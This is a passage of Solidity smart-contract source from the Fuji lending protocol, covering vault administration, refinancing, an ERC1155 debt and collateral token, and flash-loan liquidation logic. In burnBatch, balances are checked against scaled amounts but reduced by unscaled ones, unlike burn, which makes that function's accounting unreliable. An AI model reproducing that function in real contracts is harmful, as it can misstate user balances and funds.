_flashLoanAmount, collateraltoMove); } // Setter, change state functions /** * @dev Sets the fujiAdmin Address * @param _newFujiAdmin: FujiAdmin Contract Address */ function setFujiAdmin(address _newFujiAdmin) external onlyOwner { _fujiAdmin = IFujiAdmin(_newFujiAdmin); } /** * @dev Sets a new active provider for the Vault * @param _provider: fuji address of the new provider * Emits a {SetActiveProvider} event. */ function setActiveProvider(address _provider) external override isAuthorized { require(_provider != address(0), Errors.VL_ZERO_ADDR); activeProvider = _provider; emit SetActiveProvider(_provider); } // Administrative functions /** * @dev Sets a fujiERC1155 Collateral and Debt Asset manager for this vault and initializes it. * @param _fujiERC1155: fuji ERC1155 address */ function setFujiERC1155(address _fujiERC1155) external isAuthorized { require(_fujiERC1155 != address(0), Errors.VL_ZERO_ADDR); fujiERC1155 = _fujiERC1155; vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset( IFujiERC1155.AssetType.collateralToken, address(this) ); vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset( IFujiERC1155.AssetType.debtToken, address(this) ); } /** * @dev Set Factors "a" and "b" for a Struct Factor * For safetyF; Sets Safety Factor of Vault, should be > 1, a/b * For collatF; Sets Collateral Factor of Vault, should be > 1, a/b * @param _newFactorA: Nominator * @param _newFactorB: Denominator * @param _type: safetyF or collatF or bonusLiqF */ function setFactor( uint64 _newFactorA, uint64 _newFactorB, string calldata _type ) external isAuthorized { bytes32 typeHash = keccak256(abi.encode(_type)); if (typeHash == keccak256(abi.encode("collatF"))) { collatF.a = _newFactorA; collatF.b = _newFactorB; } else if (typeHash == keccak256(abi.encode("safetyF"))) { safetyF.a = _newFactorA; safetyF.b = _newFactorB; } else if (typeHash == keccak256(abi.encode("bonusLiqF"))) { bonusLiqF.a = _newFactorA; bonusLiqF.b = _newFactorB; } else if (typeHash == keccak256(abi.encode("protocolFee"))) { protocolFee.a = _newFactorA; protocolFee.b = _newFactorB; } } /** * @dev Sets the Oracle address (Must Comply with AggregatorV3Interface) * @param _oracle: new Oracle address */ function setOracle(address _oracle) external isAuthorized { oracle = IFujiOracle(_oracle); } /** * @dev Set providers to the Vault * @param _providers: new providers' addresses */ function setProviders(address[] calldata _providers) external isAuthorized { providers = _providers; } /** * @dev External Function to call updateState in F1155 */ function updateF1155Balances() public override { IFujiERC1155(fujiERC1155).updateState( vAssets.borrowID, IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset) ); IFujiERC1155(fujiERC1155).updateState( vAssets.collateralID, IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset) ); } //Getter Functions /** * @dev Returns an array of the Vault's providers */ function getProviders() external view override returns (address[] memory) { return providers; } /** * @dev Returns an amount to be paid as bonus for liquidation * @param _amount: Vault underlying type intended to be liquidated */ function getLiquidationBonusFor(uint256 _amount) external view override returns (uint256) { return (_amount * bonusLiqF.a) / bonusLiqF.b; } /** * @dev Returns the amount of collateral needed, including or not safety factors * @param _amount: Vault underlying type intended to be borrowed * @param _withFactors: Inidicate if computation should include safety_Factors */ function getNeededCollateralFor(uint256 _amount, bool _withFactors) public view override returns (uint256) { // Get exchange rate uint256 price = oracle.getPriceOf( vAssets.collateralAsset, vAssets.borrowAsset, _collateralAssetDecimals ); uint256 minimumReq = (_amount * price) / (10**uint256(_borrowAssetDecimals)); if (_withFactors) { return (minimumReq * (collatF.a) * (safetyF.a)) / (collatF.b) / (safetyF.b); } else { return minimumReq; } } /** * @dev Returns the borrow balance of the Vault's underlying at a particular provider * @param _provider: address of a provider */ function borrowBalance(address _provider) external view override returns (uint256) { return IProvider(_provider).getBorrowBalance(vAssets.borrowAsset); } /** * @dev Returns the deposit balance of the Vault's type collateral at a particular provider * @param _provider: address of a provider */ function depositBalance(address _provider) external view override returns (uint256) { return IProvider(_provider).getDepositBalance(vAssets.collateralAsset); } /** * @dev Returns the total debt of a user * @param _user: address of a user * @return the total debt of a user including the protocol fee */ function userDebtBalance(address _user) external view override returns (uint256) { uint256 debtPrincipal = IFujiERC1155(fujiERC1155).balanceOf(_user, vAssets.borrowID); uint256 fee = (debtPrincipal * (block.timestamp - _userFeeTimestamps[_user]) * protocolFee.a) / protocolFee.b / ONE_YEAR; return debtPrincipal + fee; } /** * @dev Returns the protocol fee of a user * @param _user: address of a user * @return the protocol fee of a user */ function userProtocolFee(address _user) external view override returns (uint256) { uint256 debtPrincipal = IFujiERC1155(fujiERC1155).balanceOf(_user, vAssets.borrowID); return _userProtocolFee(_user, debtPrincipal); } /** * @dev Returns the collateral asset balance of a user * @param _user: address of a user * @return the collateral asset balance */ function userDepositBalance(address _user) external view override returns (uint256) { return IFujiERC1155(fujiERC1155).balanceOf(_user, vAssets.collateralID); } /** * @dev Harvests the Rewards from baseLayer Protocols * @param _farmProtocolNum: number per VaultHarvester Contract for specific farm * @param _data: the additional data to be used for harvest */ function harvestRewards(uint256 _farmProtocolNum, bytes memory _data) external onlyOwner { (address tokenReturned, IHarvester.Transaction memory harvestTransaction) = IHarvester( _fujiAdmin.getVaultHarvester() ).getHarvestTransaction(_farmProtocolNum, _data); // Claim rewards (bool success, ) = harvestTransaction.to.call(harvestTransaction.data); require(success, "failed to harvest rewards"); if (tokenReturned != address(0)) { uint256 tokenBal = IERC20Upgradeable(tokenReturned).univBalanceOf(address(this)); require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED); ISwapper.Transaction memory swapTransaction = ISwapper(_fujiAdmin.getSwapper()) .getSwapTransaction(tokenReturned, vAssets.collateralAsset, tokenBal); // Approve rewards if (tokenReturned != ETH) { IERC20Upgradeable(tokenReturned).univApprove(swapTransaction.to, tokenBal); } // Swap rewards -> collateralAsset (success, ) = swapTransaction.to.call{ value: swapTransaction.value }(swapTransaction.data); require(success, "failed to swap rewards"); _deposit( IERC20Upgradeable(vAssets.collateralAsset).univBalanceOf(address(this)), address(activeProvider) ); updateF1155Balances(); } } function withdrawProtocolFee() external nonReentrant { IERC20Upgradeable(vAssets.borrowAsset).univTransfer( payable(IFujiAdmin(_fujiAdmin).getTreasury()), remainingProtocolFee ); remainingProtocolFee = 0; } // Internal Functions function _userProtocolFee(address _user, uint256 _debtPrincipal) internal view returns (uint256) { return (_debtPrincipal * (block.timestamp - _userFeeTimestamps[_user]) * protocolFee.a) / protocolFee.b / ONE_YEAR; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./flashloans/Flasher.sol"; import "./abstracts/claimable/Claimable.sol"; import "./interfaces/IVault.sol"; import "./interfaces/IVaultControl.sol"; import "./interfaces/IProvider.sol"; import "./interfaces/IFujiAdmin.sol"; import "./libraries/FlashLoans.sol"; import "./libraries/Errors.sol"; contract Controller is Claimable { IFujiAdmin private _fujiAdmin; mapping(address => bool) public isExecutor; modifier isValidVault(address _vaultAddr) { require(_fujiAdmin.validVault(_vaultAddr), "Invalid vault!"); _; } modifier onlyOwnerOrExecutor() { require(msg.sender == owner() || isExecutor[msg.sender], "Not executor!"); _; } /** * @dev Sets the fujiAdmin Address * @param _newFujiAdmin: FujiAdmin Contract Address */ function setFujiAdmin(address _newFujiAdmin) external onlyOwner { _fujiAdmin = IFujiAdmin(_newFujiAdmin); } /** * @dev Performs a forced refinancing routine * @param _vaultAddr: fuji Vault address * @param _newProvider: new provider address * @param _ratioA: ratio to determine how much of debtposition to move * @param _ratioB: _ratioA/_ratioB <= 1, and > 0 * @param _flashNum: integer identifier of flashloan provider */ function doRefinancing( address _vaultAddr, address _newProvider, uint256 _ratioA, uint256 _ratioB, uint8 _flashNum ) external isValidVault(_vaultAddr) onlyOwnerOrExecutor { IVault vault = IVault(_vaultAddr); IVaultControl.VaultAssets memory vAssets = IVaultControl(_vaultAddr).vAssets(); vault.updateF1155Balances(); // Check Vault borrowbalance and apply ratio (consider compound or not) uint256 debtPosition = IProvider(vault.activeProvider()).getBorrowBalanceOf( vAssets.borrowAsset, _vaultAddr ); uint256 applyRatiodebtPosition = (debtPosition * _ratioA) / _ratioB; // Check Ratio Input and Vault Balance at ActiveProvider require( debtPosition >= applyRatiodebtPosition && applyRatiodebtPosition > 0, Errors.RF_INVALID_RATIO_VALUES ); //Initiate Flash Loan Struct FlashLoan.Info memory info = FlashLoan.Info({ callType: FlashLoan.CallType.Switch, asset: vAssets.borrowAsset, amount: applyRatiodebtPosition, vault: _vaultAddr, newProvider: _newProvider, userAddrs: new address[](0), userBalances: new uint256[](0), userliquidator: address(0), fliquidator: address(0) }); Flasher(payable(_fujiAdmin.getFlasher())).initiateFlashloan(info, _flashNum); IVault(_vaultAddr).setActiveProvider(_newProvider); } function setExecutors(address[] calldata _executors, bool _isExecutor) external onlyOwner { for (uint256 i = 0; i < _executors.length; i++) { isExecutor[_executors[i]] = _isExecutor; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./abstracts/fujiERC1155/FujiBaseERC1155.sol"; import "./abstracts/fujiERC1155/F1155Manager.sol"; import "./abstracts/claimable/ClaimableUpgradeable.sol"; import "./interfaces/IFujiERC1155.sol"; import "./libraries/WadRayMath.sol"; import "./libraries/Errors.sol"; contract FujiERC1155 is IFujiERC1155, FujiBaseERC1155, F1155Manager { using WadRayMath for uint256; // FujiERC1155 Asset ID Mapping // AssetType => asset reference address => ERC1155 Asset ID mapping(AssetType => mapping(address => uint256)) public assetIDs; // Control mapping that returns the AssetType of an AssetID mapping(uint256 => AssetType) public assetIDtype; uint64 public override qtyOfManagedAssets; // Asset ID Liquidity Index mapping // AssetId => Liquidity index for asset ID mapping(uint256 => uint256) public indexes; function initialize() external initializer { __ERC165_init(); __Context_init(); __Climable_init(); } /** * @dev Updates Index of AssetID * @param _assetID: ERC1155 ID of the asset which state will be updated. * @param newBalance: Amount **/ function updateState(uint256 _assetID, uint256 newBalance) external override onlyPermit { uint256 total = totalSupply(_assetID); if (newBalance > 0 && total > 0 && newBalance > total) { uint256 diff = newBalance - total; uint256 amountToIndexRatio = (diff.wadToRay()).rayDiv(total.wadToRay()); uint256 result = amountToIndexRatio + WadRayMath.ray(); result = result.rayMul(indexes[_assetID]); require(result <= type(uint128).max, Errors.VL_INDEX_OVERFLOW); indexes[_assetID] = uint128(result); // TODO: calculate interest rate for a fujiOptimizer Fee. } } /** * @dev Returns the total supply of Asset_ID with accrued interest. * @param _assetID: ERC1155 ID of the asset which state will be updated. **/ function totalSupply(uint256 _assetID) public view virtual override returns (uint256) { // TODO: include interest accrued by Fuji OptimizerFee return super.totalSupply(_assetID).rayMul(indexes[_assetID]); } /** * @dev Returns the scaled total supply of the token ID. Represents sum(token ID Principal /index) * @param _assetID: ERC1155 ID of the asset which state will be updated. **/ function scaledTotalSupply(uint256 _assetID) public view virtual returns (uint256) { return super.totalSupply(_assetID); } /** * @dev Returns the principal + accrued interest balance of the user * @param _account: address of the User * @param _assetID: ERC1155 ID of the asset which state will be updated. **/ function balanceOf(address _account, uint256 _assetID) public view override(FujiBaseERC1155, IFujiERC1155) returns (uint256) { uint256 scaledBalance = super.balanceOf(_account, _assetID); if (scaledBalance == 0) { return 0; } // TODO: include interest accrued by Fuji OptimizerFee return scaledBalance.rayMul(indexes[_assetID]); } /** * @dev Returns Scaled Balance of the user (e.g. balance/index) * @param _account: address of the User * @param _assetID: ERC1155 ID of the asset which state will be updated. **/ function scaledBalanceOf(address _account, uint256 _assetID) public view virtual returns (uint256) { return super.balanceOf(_account, _assetID); } /** * @dev Mints tokens for Collateral and Debt receipts for the Fuji Protocol * Emits a {TransferSingle} event. * Requirements: * - `_account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. * - `_amount` should be in WAD */ function mint( address _account, uint256 _id, uint256 _amount, bytes memory _data ) external override onlyPermit { require(_account != address(0), Errors.VL_ZERO_ADDR_1155); address operator = _msgSender(); uint256 accountBalance = _balances[_id][_account]; uint256 assetTotalBalance = _totalSupply[_id]; uint256 amountScaled = _amount.rayDiv(indexes[_id]); require(amountScaled != 0, Errors.VL_INVALID_MINT_AMOUNT); _balances[_id][_account] = accountBalance + amountScaled; _totalSupply[_id] = assetTotalBalance + amountScaled; emit TransferSingle(operator, address(0), _account, _id, _amount); _doSafeTransferAcceptanceCheck(operator, address(0), _account, _id, _amount, _data); } /** * @dev [Batched] version of {mint}. * Requirements: * - `_ids` and `_amounts` must have the same length. * - If `_to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function mintBatch( address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data ) external onlyPermit { require(_to != address(0), Errors.VL_ZERO_ADDR_1155); require(_ids.length == _amounts.length, Errors.VL_INPUT_ERROR); address operator = _msgSender(); uint256 accountBalance; uint256 assetTotalBalance; uint256 amountScaled; for (uint256 i = 0; i < _ids.length; i++) { accountBalance = _balances[_ids[i]][_to]; assetTotalBalance = _totalSupply[_ids[i]]; amountScaled = _amounts[i].rayDiv(indexes[_ids[i]]); require(amountScaled != 0, Errors.VL_INVALID_MINT_AMOUNT); _balances[_ids[i]][_to] = accountBalance + amountScaled; _totalSupply[_ids[i]] = assetTotalBalance + amountScaled; } emit TransferBatch(operator, address(0), _to, _ids, _amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), _to, _ids, _amounts, _data); } /** * @dev Destroys `_amount` receipt tokens of token type `_id` from `account` for the Fuji Protocol * Requirements: * - `account` cannot be the zero address. * - `account` must have at least `_amount` tokens of token type `_id`. * - `_amount` should be in WAD */ function burn( address _account, uint256 _id, uint256 _amount ) external override onlyPermit { require(_account != address(0), Errors.VL_ZERO_ADDR_1155); address operator = _msgSender(); uint256 accountBalance = _balances[_id][_account]; uint256 assetTotalBalance = _totalSupply[_id]; uint256 amountScaled = _amount.rayDiv(indexes[_id]); require(amountScaled != 0 && accountBalance >= amountScaled, Errors.VL_INVALID_BURN_AMOUNT); _balances[_id][_account] = accountBalance - amountScaled; _totalSupply[_id] = assetTotalBalance - amountScaled; emit TransferSingle(operator, _account, address(0), _id, _amount); } /** * @dev [Batched] version of {burn}. * Requirements: * - `_ids` and `_amounts` must have the same length. */ function burnBatch( address _account, uint256[] memory _ids, uint256[] memory _amounts ) external onlyPermit { require(_account != address(0), Errors.VL_ZERO_ADDR_1155); require(_ids.length == _amounts.length, Errors.VL_INPUT_ERROR); address operator = _msgSender(); uint256 accountBalance; uint256 assetTotalBalance; uint256 amountScaled; for (uint256 i = 0; i < _ids.length; i++) { uint256 amount = _amounts[i]; accountBalance = _balances[_ids[i]][_account]; assetTotalBalance = _totalSupply[_ids[i]]; amountScaled = _amounts[i].rayDiv(indexes[_ids[i]]); require(amountScaled != 0 && accountBalance >= amountScaled, Errors.VL_INVALID_BURN_AMOUNT); _balances[_ids[i]][_account] = accountBalance - amount; _totalSupply[_ids[i]] = assetTotalBalance - amount; } emit TransferBatch(operator, _account, address(0), _ids, _amounts); } //Getter Functions /** * @dev Getter Function for the Asset ID locally managed * @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset * @param _addr: Reference Address of the Asset */ function getAssetID(AssetType _type, address _addr) external view override returns (uint256 id) { id = assetIDs[_type][_addr]; require(id <= qtyOfManagedAssets, Errors.VL_INVALID_ASSETID_1155); } //Setter Functions /** * @dev Sets a new URI for all token types, by relying on the token type ID */ function setURI(string memory _newUri) public onlyOwner { _uri = _newUri; } /** * @dev Adds and initializes liquidity index of a new asset in FujiERC1155 * @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset * @param _addr: Reference Address of the Asset */ function addInitializeAsset(AssetType _type, address _addr) external override onlyPermit returns (uint64) { require(assetIDs[_type][_addr] == 0, Errors.VL_ASSET_EXISTS); assetIDs[_type][_addr] = qtyOfManagedAssets; assetIDtype[qtyOfManagedAssets] = _type; //Initialize the liquidity Index indexes[qtyOfManagedAssets] = WadRayMath.ray(); qtyOfManagedAssets++; return qtyOfManagedAssets - 1; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./abstracts/claimable/Claimable.sol"; import "./interfaces/IVault.sol"; import "./interfaces/IVaultControl.sol"; import "./interfaces/IFujiAdmin.sol"; import "./interfaces/IFujiOracle.sol"; import "./interfaces/IFujiERC1155.sol"; import "./interfaces/IERC20Extended.sol"; import "./flashloans/Flasher.sol"; import "./libraries/LibUniversalERC20.sol"; import "./libraries/FlashLoans.sol"; import "./libraries/Errors.sol"; contract Fliquidator is Claimable, ReentrancyGuard { using SafeERC20 for IERC20; using LibUniversalERC20 for IERC20; address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // slippage limit to 2% uint256 public constant SLIPPAGE_LIMIT_NUMERATOR = 2; uint256 public constant SLIPPAGE_LIMIT_DENOMINATOR = 100; struct Factor { uint64 a; uint64 b; } // Flash Close Fee Factor Factor public flashCloseF; IFujiAdmin private _fujiAdmin; IFujiOracle private _oracle; IUniswapV2Router02 public swapper; // Log Liquidation event Liquidate( address indexed userAddr, address indexed vault, uint256 amount, address liquidator ); // Log FlashClose event FlashClose(address indexed userAddr, address indexed vault, uint256 amount); modifier isAuthorized() { require(msg.sender == owner(), Errors.VL_NOT_AUTHORIZED); _; } modifier onlyFlash() { require(msg.sender == _fujiAdmin.getFlasher(), Errors.VL_NOT_AUTHORIZED); _; } modifier isValidVault(address _vaultAddr) { require(_fujiAdmin.validVault(_vaultAddr), "Invalid vault!"); _; } constructor() { // 0.01 flashCloseF.a = 1; flashCloseF.b = 100; } receive() external payable {} // FLiquidator Core Functions /** * @dev Liquidate an undercollaterized debt and get bonus (bonusL in Vault) * @param _addrs: Address array of users whose position is liquidatable * @param _vault: Address of the vault in where liquidation will occur * Emits a {Liquidate} event. */ function batchLiquidate(address[] calldata _addrs, address _vault) external payable nonReentrant isValidVault(_vault) { IVaultControl.VaultAssets memory vAssets = IVaultControl(_vault).vAssets(); address f1155 = IVault(_vault).fujiERC1155(); IVault(_vault).updateF1155Balances(); (address[] memory addrs, uint256[] memory borrowBals, uint256 debtTotal) = _constructParams( _addrs, vAssets, _vault, f1155 ); // Check there is at least one user liquidatable require(debtTotal > 0, Errors.VL_USER_NOT_LIQUIDATABLE); if (vAssets.borrowAsset == ETH) { require(msg.value >= debtTotal, Errors.VL_AMOUNT_ERROR); } else { // Check Liquidator Allowance require( IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= debtTotal, Errors.VL_MISSING_ERC20_ALLOWANCE ); // Transfer borrowAsset funds from the Liquidator to Vault IERC20(vAssets.borrowAsset).safeTransferFrom(msg.sender, _vault, debtTotal); } // Repay BaseProtocol debt uint256 _value = vAssets.borrowAsset == ETH ? debtTotal : 0; IVault(_vault).paybackLiq{ value: _value }(addrs, debtTotal); // Compute liquidator's bonus: bonusL uint256 bonus = IVault(_vault).getLiquidationBonusFor(debtTotal); // Compute how much collateral needs to be swapt uint256 collateralInPlay = _getCollateralInPlay( vAssets.collateralAsset, vAssets.borrowAsset, debtTotal + bonus ); // Burn f1155 _burnMulti(addrs, borrowBals, vAssets, _vault, f1155); // Withdraw collateral IVault(_vault).withdrawLiq(int256(collateralInPlay)); // Swap Collateral _swap(vAssets.collateralAsset, vAssets.borrowAsset, debtTotal + bonus, collateralInPlay, true); // Transfer to Liquidator the debtBalance + bonus IERC20(vAssets.borrowAsset).univTransfer(payable(msg.sender), debtTotal + bonus); // Emit liquidation event for each liquidated user for (uint256 i = 0; i < addrs.length; i += 1) { if (addrs[i] != address(0)) { emit Liquidate(addrs[i], _vault, borrowBals[i], msg.sender); } } } /** * @dev Initiates a flashloan to liquidate array of undercollaterized debt positions, * gets bonus (bonusFlashL in Vault) * @param _addrs: Array of Address whose position is liquidatable * @param _vault: The vault address where the debt position exist. * @param _flashnum: integer identifier of flashloan provider * Emits a {Liquidate} event. */ function flashBatchLiquidate( address[] calldata _addrs, address _vault, uint8 _flashnum ) external isValidVault(_vault) nonReentrant { IVaultControl.VaultAssets memory vAssets = IVaultControl(_vault).vAssets(); address f1155 = IVault(_vault).fujiERC1155(); IVault(_vault).updateF1155Balances(); (address[] memory addrs, uint256[] memory borrowBals, uint256 debtTotal) = _constructParams( _addrs, vAssets, _vault, f1155 ); // Check there is at least one user liquidatable require(debtTotal > 0, Errors.VL_USER_NOT_LIQUIDATABLE); FlashLoan.Info memory info = FlashLoan.Info({ callType: FlashLoan.CallType.BatchLiquidate, asset: vAssets.borrowAsset, amount: debtTotal, vault: _vault, newProvider: address(0), userAddrs: addrs, userBalances: borrowBals, userliquidator: msg.sender, fliquidator: address(this) }); Flasher(payable(_fujiAdmin.getFlasher())).initiateFlashloan(info, _flashnum); } /** * @dev Liquidate a debt position by using a flashloan * @param _addrs: array **See addrs construction in 'function flashBatchLiquidate' * @param _borrowBals: array **See construction in 'function flashBatchLiquidate' * @param _liquidator: liquidator address * @param _vault: Vault address * @param _amount: amount of debt to be repaid * @param _flashloanFee: amount extra charged by flashloan provider * Emits a {Liquidate} event. */ function executeFlashBatchLiquidation( address[] calldata _addrs, uint256[] calldata _borrowBals, address _liquidator, address _vault, uint256 _amount, uint256 _flashloanFee ) external payable onlyFlash { address f1155 = IVault(_vault).fujiERC1155(); IVaultControl.VaultAssets memory vAssets = IVaultControl(_vault).vAssets(); // Repay BaseProtocol debt to release collateral uint256 _value = vAssets.borrowAsset == ETH ? _amount : 0; IVault(_vault).paybackLiq{ value: _value }(_addrs, _amount); // Compute liquidator's bonus uint256 bonus = IVault(_vault).getLiquidationBonusFor(_amount); // Compute how much collateral needs to be swapt for all liquidated users uint256 collateralInPlay = _getCollateralInPlay( vAssets.collateralAsset, vAssets.borrowAsset, _amount + _flashloanFee + bonus ); // Burn f1155 _burnMulti(_addrs, _borrowBals, vAssets, _vault, f1155); // Withdraw collateral IVault(_vault).withdrawLiq(int256(collateralInPlay)); _swap( vAssets.collateralAsset, vAssets.borrowAsset, _amount + _flashloanFee + bonus, collateralInPlay, true ); // Send flasher the underlying to repay Flashloan IERC20(vAssets.borrowAsset).univTransfer( payable(_fujiAdmin.getFlasher()), _amount + _flashloanFee ); // Liquidator's bonus gets reduced by 20% as a protocol fee uint256 fujiFee = bonus / 5; // Transfer liquidator's bonus, minus fujiFee IERC20(vAssets.borrowAsset).univTransfer(payable(_liquidator), bonus - fujiFee); // Transfer fee to Fuji Treasury IERC20(vAssets.borrowAsset).univTransfer(_fujiAdmin.getTreasury(), fujiFee); // Emit liquidation event for each liquidated user for (uint256 i = 0; i < _addrs.length; i += 1) { if (_addrs[i] != address(0)) { emit Liquidate(_addrs[i], _vault, _borrowBals[i], _liquidator); } } } /** * @dev Initiates a flashloan used to repay partially or fully the debt position of msg.sender * @param _amount: Pass -1 to fully close debt position, otherwise Amount to be repaid with a flashloan * @param _vault: The vault address where the debt position exist. * @param _flashnum: integer identifier of flashloan provider */ function flashClose( int256 _amount, address _vault, uint8 _flashnum ) external nonReentrant isValidVault(_vault) { // Update Balances at FujiERC1155 IVault(_vault).updateF1155Balances(); // Create Instance of FujiERC1155 IFujiERC1155 f1155 = IFujiERC1155(IVault(_vault).fujiERC1155()); // Struct Instance to get Vault Asset IDs in f1155 IVaultControl.VaultAssets memory vAssets = IVaultControl(_vault).vAssets(); // Get user Balances uint256 userCollateral = f1155.balanceOf(msg.sender, vAssets.collateralID); uint256 debtTotal = IVault(_vault).userDebtBalance(msg.sender); require(debtTotal > 0, Errors.VL_NO_DEBT_TO_PAYBACK); uint256 amount = _amount < 0 ? debtTotal : uint256(_amount); uint256 neededCollateral = IVault(_vault).getNeededCollateralFor(amount, false); require(userCollateral >= neededCollateral, Errors.VL_UNDERCOLLATERIZED_ERROR); address[] memory userAddressArray = new address[](1); userAddressArray[0] = msg.sender; FlashLoan.Info memory info = FlashLoan.Info({ callType: FlashLoan.CallType.Close, asset: vAssets.borrowAsset, amount: amount, vault: _vault, newProvider: address(0), userAddrs: userAddressArray, userBalances: new uint256[](0), userliquidator: address(0), fliquidator: address(this) }); Flasher(payable(_fujiAdmin.getFlasher())).initiateFlashloan(info, _flashnum); } /** * @dev Close user's debt position by using a flashloan * @param _userAddr: user addr to be liquidated * @param _vault: Vault address * @param _amount: amount received by Flashloan * @param _flashloanFee: amount extra charged by flashloan provider * Emits a {FlashClose} event. */ function executeFlashClose( address payable _userAddr, address _vault, uint256 _amount, uint256 _flashloanFee ) external payable onlyFlash { // Create Instance of FujiERC1155 IFujiERC1155 f1155 = IFujiERC1155(IVault(_vault).fujiERC1155()); // Struct Instance to get Vault Asset IDs in f1155 IVaultControl.VaultAssets memory vAssets = IVaultControl(_vault).vAssets(); uint256 flashCloseFee = (_amount * flashCloseF.a) / flashCloseF.b; uint256 protocolFee = IVault(_vault).userProtocolFee(_userAddr); uint256 totalDebt = f1155.balanceOf(_userAddr, vAssets.borrowID) + protocolFee; uint256 collateralInPlay = _getCollateralInPlay( vAssets.collateralAsset, vAssets.borrowAsset, _amount + _flashloanFee + flashCloseFee ); // Repay BaseProtocol debt uint256 _value = vAssets.borrowAsset == ETH ? _amount : 0; address[] memory _addrs = new address[](1); _addrs[0] = _userAddr; IVault(_vault).paybackLiq{ value: _value }(_addrs, _amount); // Full close if (_amount == totalDebt) { uint256 userCollateral = f1155.balanceOf(_userAddr, vAssets.collateralID); f1155.burn(_userAddr, vAssets.collateralID, userCollateral); // Withdraw full collateral IVault(_vault).withdrawLiq(int256(userCollateral)); // Send remaining collateral to user IERC20(vAssets.collateralAsset).univTransfer(_userAddr, userCollateral - collateralInPlay); } else { f1155.burn(_userAddr, vAssets.collateralID, collateralInPlay); // Withdraw collateral in play only IVault(_vault).withdrawLiq(int256(collateralInPlay)); } // Swap collateral for underlying to repay flashloan _swap( vAssets.collateralAsset, vAssets.borrowAsset, _amount + _flashloanFee + flashCloseFee, collateralInPlay, false ); // Send flashClose fee to Fuji Treasury IERC20(vAssets.borrowAsset).univTransfer(_fujiAdmin.getTreasury(), flashCloseFee); // Send flasher the underlying to repay flashloan IERC20(vAssets.borrowAsset).univTransfer( payable(_fujiAdmin.getFlasher()), _amount + _flashloanFee ); // Burn Debt f1155 tokens f1155.burn(_userAddr, vAssets.borrowID, _amount - protocolFee); emit FlashClose(_userAddr, _vault, _amount); } /** * @dev Swap an amount of underlying * @param _collateralAsset: Address of vault collateralAsset * @param _borrowAsset: Address of vault borrowAsset * @param _amountToReceive: amount of underlying to receive * @param _collateralAmount: collateral Amount sent for swap */ function _swap( address _collateralAsset, address _borrowAsset, uint256 _amountToReceive, uint256 _collateralAmount, bool _checkSlippage ) internal returns (uint256) { if (_checkSlippage) { uint8 _collateralAssetDecimals; uint8 _borrowAssetDecimals; if (_collateralAsset == ETH) { _collateralAssetDecimals = 18; } else { _collateralAssetDecimals = IERC20Extended(_collateralAsset).decimals(); } if (_borrowAsset == ETH) { _borrowAssetDecimals = 18; } else { _borrowAssetDecimals = IERC20Extended(_borrowAsset).decimals(); } uint256 priceFromSwapper = (_collateralAmount * (10**uint256(_borrowAssetDecimals))) / _amountToReceive; uint256 priceFromOracle = _oracle.getPriceOf( _collateralAsset, _borrowAsset, _collateralAssetDecimals ); uint256 priceDelta = priceFromSwapper > priceFromOracle ? priceFromSwapper - priceFromOracle : priceFromOracle - priceFromSwapper; require( (priceDelta * SLIPPAGE_LIMIT_DENOMINATOR) / priceFromOracle < SLIPPAGE_LIMIT_NUMERATOR, Errors.VL_SWAP_SLIPPAGE_LIMIT_EXCEED ); } // Swap Collateral Asset to Borrow Asset address weth = swapper.WETH(); address[] memory path; uint256[] memory swapperAmounts; if (_collateralAsset == ETH) { path = new address[](2); path[0] = weth; path[1] = _borrowAsset; swapperAmounts = swapper.swapETHForExactTokens{ value: _collateralAmount }( _amountToReceive, path, address(this), // solhint-disable-next-line block.timestamp ); } else if (_borrowAsset == ETH) { path = new address[](2); path[0] = _collateralAsset; path[1] = weth; IERC20(_collateralAsset).univApprove(address(swapper), _collateralAmount); swapperAmounts = swapper.swapTokensForExactETH( _amountToReceive, _collateralAmount, path, address(this), // solhint-disable-next-line block.timestamp ); } else { if (_collateralAsset == weth || _borrowAsset == weth) { path = new address[](2); path[0] = _collateralAsset; path[1] = _borrowAsset; } else { path = new address[](3); path[0] = _collateralAsset; path[1] = weth; path[2] = _borrowAsset; } IERC20(_collateralAsset).univApprove(address(swapper), _collateralAmount); swapperAmounts = swapper.swapTokensForExactTokens( _amountToReceive, _collateralAmount, path, address(this), // solhint-disable-next-line block.timestamp ); } return _collateralAmount - swapperAmounts[0]; } /** * @dev Get exact amount of collateral to be swapt * @param _collateralAsset: Address of vault collateralAsset * @param _borrowAsset: Address of vault borrowAsset * @param _amountToReceive: amount of underlying to receive */ function _getCollateralInPlay( address _collateralAsset, address _borrowAsset, uint256 _amountToReceive ) internal view returns (uint256) { address weth = swapper.WETH(); address[] memory path; if (_collateralAsset == ETH || _collateralAsset == weth) { path = new address[](2); path[0] = weth; path[1] = _borrowAsset; } else if (_borrowAsset == ETH || _borrowAsset == weth) { path = new address[](2); path[0] = _collateralAsset; path[1] = weth; } else { path = new address[](3); path[0] = _collateralAsset; path[1] = weth; path[2] = _borrowAsset; } uint256[] memory amounts = swapper.getAmountsIn(_amountToReceive, path); return amounts[0]; } function _constructParams( address[] memory _userAddrs, IVaultControl.VaultAssets memory _vAssets, address _vault, address _f1155 ) internal view returns ( address[] memory addrs, uint256[] memory borrowBals, uint256 debtTotal ) { addrs = new address[](_userAddrs.length); uint256[] memory borrowIds = 